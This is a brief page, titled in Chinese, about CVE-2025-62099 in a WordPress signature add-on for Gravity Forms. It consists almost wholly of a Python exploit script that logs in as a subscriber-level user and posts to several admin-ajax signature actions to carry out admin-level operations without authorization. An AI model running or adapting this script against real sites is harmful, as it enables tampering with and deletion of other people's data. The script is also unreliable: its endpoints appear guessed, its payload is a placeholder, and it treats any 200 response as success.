CVE-2025-62099: Gravity Forms Signature插件缺失授权漏洞

# CVE-2025-62099 PoC - Gravity Signature Forms Add-On Broken Access Control # This PoC demonstrates the authorization bypass in gravity-signature-forms-add-on plugin import requests import sys TARGET_URL = "https://vulnerable-site.com" # Authentication credentials for a low-privilege user (subscriber role) USERNAME = "low_privilege_user" PASSWORD = "password123" def exploit(): """ Exploit Missing Authorization vulnerability in gravity-signature-forms-add-on <= 1.8.6 This allows low-privilege users to perform admin-level actions. """ session = requests.Session() # Step 1: Authenticate as low-privilege user login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Successfully logged in as low-privilege user") # Step 2: Exploit the broken access control # Target the vulnerable plugin endpoint vulnerable_endpoints = [ '/wp-admin/admin-ajax.php?action=gravity_signature_save', '/wp-admin/admin-ajax.php?action=gravity_signature_delete', '/wp-admin/admin-ajax.php?action=gravity_signature_get' ] for endpoint in vulnerable_endpoints: exploit_url = f"{TARGET_URL}{endpoint}" exploit_data = { 'signature_id': '1', 'form_id': '1', 'signature_data': 'exploit_payload' } response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: print(f"[!] Potential vulnerability at: {endpoint}") print(f"Response: {response.text[:200]}") return True if __name__ == "__main__": print("CVE-2025-62099 Exploitation Script") print("Target: gravity-signature-forms-add-on <= 1.8.6") exploit()